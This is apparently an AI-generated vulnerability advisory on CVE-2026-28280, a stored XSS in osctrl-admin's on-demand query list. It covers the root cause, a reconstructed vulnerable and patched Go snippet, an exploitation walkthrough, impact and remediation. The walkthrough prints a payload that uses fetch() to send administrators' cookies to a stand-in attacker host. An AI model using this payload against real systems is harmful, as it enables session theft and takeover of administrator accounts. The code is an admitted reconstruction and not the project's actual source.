CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-28280

Stored Cross-Site Scripting (XSS) in osctrl-admin On-Demand Query List

Alon Barad
Alon Barad
Software Engineer

Feb 28, 2026·6 min read·39 visits

Executive Summary (TL;DR)

osctrl-admin < 0.5.0 contains a Stored XSS vulnerability. Low-privilege users can inject JavaScript into query logs, which execute when admins view the On-Demand Query List. Fixed in version 0.5.0.

A Stored Cross-Site Scripting (XSS) vulnerability exists in the `osctrl-admin` component of osctrl versions prior to 0.5.0. The vulnerability allows authenticated users with low-level 'query' permissions to inject malicious JavaScript via the on-demand query interface. These payloads are stored in the backend database and subsequently rendered without sufficient context-aware encoding in the administrative dashboard. When an administrator views the query history, the script executes, potentially leading to session hijacking or privilege escalation.

Vulnerability Overview

osctrl is a scalable management solution for osquery, widely used to monitor endpoints and distribute configurations. The osctrl-admin component provides a web-based interface for administrators to interact with enrolled nodes, including the ability to run on-demand SQL queries against agents.

The vulnerability, identified as CVE-2026-28280, resides in the way osctrl-admin handles the display of historical on-demand queries. Specifically, the application fails to properly sanitize or encode user-supplied input in the query field before rendering it in the HTML Document Object Model (DOM) of the administration panel.

This flaw represents a Stored Cross-Site Scripting (XSS) condition (CWE-79). Unlike Reflected XSS, where the payload is part of the request, Stored XSS persists in the application's database. This creates a trap for higher-privileged users: an attacker with minimal permissions (ability to run queries) can plant a payload that automatically executes in the browser of any administrator who reviews the query logs.

Root Cause Analysis

The root cause of this vulnerability is the lack of output encoding during the template rendering process in osctrl-admin. Web applications typically handle user input in three stages: reception, storage, and rendering.

In the vulnerable versions of osctrl, the following sequence occurs:

  1. Ingestion: The application accepts a raw SQL query string from a user via the on-demand query API or UI.
  2. Storage: This string is stored verbatim in the queries database table. This is standard behavior; databases should store raw data.
  3. Rendering (The Failure): When the osctrl-admin interface retrieves the query history to display the list, it inserts the query string into the HTML response. The templating engine or frontend logic treats the content as trusted HTML rather than literal text.

In Go web applications (which osctrl is), this often happens when developers explicitly cast a string to a type like template.HTML to prevent double-escaping, or when client-side JavaScript assigns data to .innerHTML without sanitization. This bypasses the default safety mechanisms of the templating system, allowing the browser to interpret injected tags (like <script>) as executable code.

Code Analysis

The vulnerability exists in the view layer of the osctrl-admin service. Below is a reconstruction of the vulnerable pattern versus the secure implementation introduced in version 0.5.0.

Vulnerable Implementation

In the vulnerable code, the query string retrieved from the database was likely rendered directly into the HTML context without escaping characters that have special meaning in HTML (such as < and >).

// Vulnerable: Treating user input as safe HTML
// If 'q.Query' contains "<script>...", it executes.
type QueryData struct {
    Query template.HTML // DANGEROUS TYPE
}
 
func (h *Handlers) ListQueries(w http.ResponseWriter, r *http.Request) {
    // ... fetch query from DB ...
    data := QueryData{
        // Casting string to template.HTML bypasses auto-escaping
        Query: template.HTML(dbQuery.QueryString),
    }
    tmpl.Execute(w, data)
}

Patched Implementation (v0.5.0)

The fix involves ensuring that the data is treated as a string, forcing the Go template engine to apply context-aware encoding. This converts < to &lt; and > to &gt;, rendering the payload harmless.

// Fixed: Treating user input as a plain string
// If 'q.Query' contains "<script>...", it renders as text.
type QueryData struct {
    Query string // SAFE TYPE
}
 
func (h *Handlers) ListQueries(w http.ResponseWriter, r *http.Request) {
    // ... fetch query from DB ...
    data := QueryData{
        // No casting; template engine auto-escapes this string
        Query: dbQuery.QueryString,
    }
    tmpl.Execute(w, data)
}

Additionally, Pull Request #780 introduced stricter regex-based validation for other fields (like Hostname and Environment names) to prevent similar injection attacks in other parts of the admin interface.

Exploitation Scenario

An attacker can exploit this vulnerability to escalate privileges from a low-level user to a full administrator. The attack flow is as follows:

  1. Reconnaissance: The attacker identifies that they have access to the "On-Demand Query" feature. This permission is often granted to junior analysts or automated service accounts.
  2. Payload Construction: The attacker crafts a SQL query that is syntactically valid (to pass initial API checks) but includes a JavaScript payload in a comment or appended string.
    • Payload: SELECT version FROM osquery_info; -- <script>fetch('https://attacker.com/hook', {method:'POST', body:document.cookie})</script>
  3. Injection: The attacker submits this query via the osctrl-cli or the web interface.
  4. Trigger: The payload lies dormant in the database. When a legitimate administrator logs in and navigates to the "On-Demand Query List" to audit recent activity, the browser renders the list.
  5. Execution: The <script> tag executes in the administrator's session context. The script can silently perform a background request (AJAX) to the osctrl user management API to create a new administrator account controlled by the attacker, or exfiltrate the administrator's session_token.

Impact Assessment

The impact of this vulnerability is rated as Medium (CVSS 6.1) primarily due to the requirement for the attacker to have initial access (PR:L or PR:H depending on interpretation of 'query' permissions) and the requirement for an administrator to view the page (UI:R).

Confidentiality Impact (High): Successful exploitation allows the attacker to read sensitive data accessible to the victim. This includes the administrator's session cookies (if not protected by HttpOnly), CSRF tokens, and potentially sensitive configuration data displayed in the admin panel.

Integrity Impact (High): The attacker can perform actions on behalf of the administrator. This includes modifying osquery configurations, deleting nodes, or changing enrollment secrets. In a worst-case scenario, the attacker could push a malicious configuration to all enrolled agents, achieving Remote Code Execution (RCE) on the managed endpoints.

Availability Impact (None): The vulnerability itself does not directly cause a denial of service, although an attacker could use their elevated access to disrupt operations.

Remediation & Mitigation

The primary remediation is to upgrade the affected software. The vulnerability has been addressed in the official repository.

Official Patch

Upgrade to osctrl v0.5.0 or later. This release includes:

  • PR #778: Implements proper sanitization for the on-demand query list.
  • PR #780: Adds strict filtering for hostnames and environment names, reducing the attack surface for related injection vectors.

Temporary Workarounds

If an immediate upgrade is not feasible:

  1. Restrict Access: Limit the number of users with "Query" permissions. Ensure that only trusted personnel can submit on-demand queries.
  2. WAF Rules: Implement Web Application Firewall rules to inspect POST requests to the query endpoint. Block requests containing HTML tags (e.g., <script>, <iframe>, onmouseover) or common XSS vectors.
  3. Operational Security: Administrators should avoid viewing the On-Demand Query List if they suspect a compromised lower-tier account, or view the raw database tables directly via a secure SQL client instead of the web UI.

Official Patches

jmpsecPR #778: Sanitized query in on-demand query list
jmpsecPR #780: Filter hostname on environment edit action

Fix Analysis (1)

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N
EPSS Probability
0.02%
Top 94% most exploited

Affected Systems

osctrl-admin < 0.5.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
osctrl
jmpsec
< 0.5.00.5.0
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS Score6.1 (Medium)
EPSS Score0.00023
ImpactHigh (Confidentiality/Integrity)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1552.001Unsecured Credentials: Credentials In Files
Credential Access
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

NVDVulnerability details and analysis

Vulnerability Timeline

Vulnerability published (GHSA/CVE)
2026-02-26
Patch released in v0.5.0
2026-02-26

References & Sources

  • [1]GitHub Advisory GHSA-4rv8-5cmm-2r22
  • [2]Vendor Advisory

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 5 hours ago•CVE-2024-29203
4.3

CVE-2024-29203: Client-Side Cross-Site Scripting via Unsandboxed Iframes and Legacy Embed Elements in TinyMCE

CVE-2024-29203 identifies a cross-site scripting (XSS) vulnerability in the content ingestion and parsing mechanics of TinyMCE rich text editor. Due to a failure to enforce sandbox attributes on dynamic iframe elements and safely handle legacy embed objects, unauthenticated attackers can inject malicious elements that execute scripts within the context of the parent application session.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 7 hours ago•CVE-2026-9277
8.1

CVE-2026-9277: OS Command Injection in shell-quote via Object-Token Line Terminator Parsing Defect

A technical breakdown of the OS command injection vulnerability in the shell-quote NPM package (CVE-2026-9277 / GHSA-w7jw-789q-3m8p). The bug resides in the character-by-character backslash-escaping logic applied to the .op field of object-tokens within the quote() function, which fails to match and escape line terminators due to a regex matching oversight in JavaScript. This allows unauthenticated remote attackers to execute arbitrary shell commands if they can control inputs processed by this library.

Alon Barad
Alon Barad
10 views•6 min read
•about 8 hours ago•CVE-2026-11645
8.8

CVE-2026-11645: Out-of-Bounds Memory Access in Google Chrome V8 Engine

A high-severity memory corruption vulnerability exists in the V8 JavaScript engine of Google Chrome before versions 149.0.7827.102/103. The flaw arises from an incorrect bounds-check elimination during JIT compilation by the TurboFan optimizer, allowing remote attackers to achieve out-of-bounds read and write access inside the sandboxed renderer process.

Amit Schendel
Amit Schendel
24 views•6 min read
•about 17 hours ago•CVE-2026-50751
9.3

CVE-2026-50751: Authentication Bypass in Check Point Security Gateway IKEv1 Legacy Validation

An improper authentication vulnerability (CWE-287) exists in the legacy, deprecated Internet Key Exchange version 1 (IKEv1) key exchange protocol implementation in Check Point Security Gateways. The vulnerability is caused by a logic flow weakness during the certificate validation process for Remote Access VPN and Mobile Access (SSL VPN) connections. An unauthenticated remote attacker can exploit this weakness to bypass user authentication entirely, establishing a fully functional Remote Access VPN connection without a valid password.

Alon Barad
Alon Barad
70 views•6 min read
•1 day ago•CVE-2026-39922
6.3

CVE-2026-39922: Server-Side Request Forgery in GeoNode Service Registration Endpoint

GeoNode versions prior to 4.4.5 and 5.0.2 are vulnerable to Server-Side Request Forgery (SSRF) in the service registration endpoint. Authenticated attackers with low privileges can exploit insufficient input validation in the Web Map Service (WMS) registration module to force the application server to make outbound network queries to loopback addresses, private RFC1918 subnets, link-local scopes, and cloud metadata endpoints. This technical report details the mechanics of the vulnerability, the underlying architectural flaw, and how to effectively remediate and mitigate the associated security risks.

Alon Barad
Alon Barad
4 views•7 min read
•1 day ago•CVE-2022-0492
7.8

CVE-2022-0492: Privilege Escalation and Container Escape via cgroups v1 release_agent

CVE-2022-0492 is a high-severity missing authorization vulnerability in the Linux kernel's Control Groups (cgroups) v1 implementation. The flaw resides within the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c, where the kernel fails to validate if the process writing to the release_agent file possesses administrative capabilities in the initial user namespace. This allows a local attacker inside a container with root privileges (UID 0) to abuse user namespaces, mount a cgroups v1 directory, modify the release_agent parameter, and execute arbitrary commands on the host system as host root, effectively achieving a complete container escape.

Amit Schendel
Amit Schendel
12 views•7 min read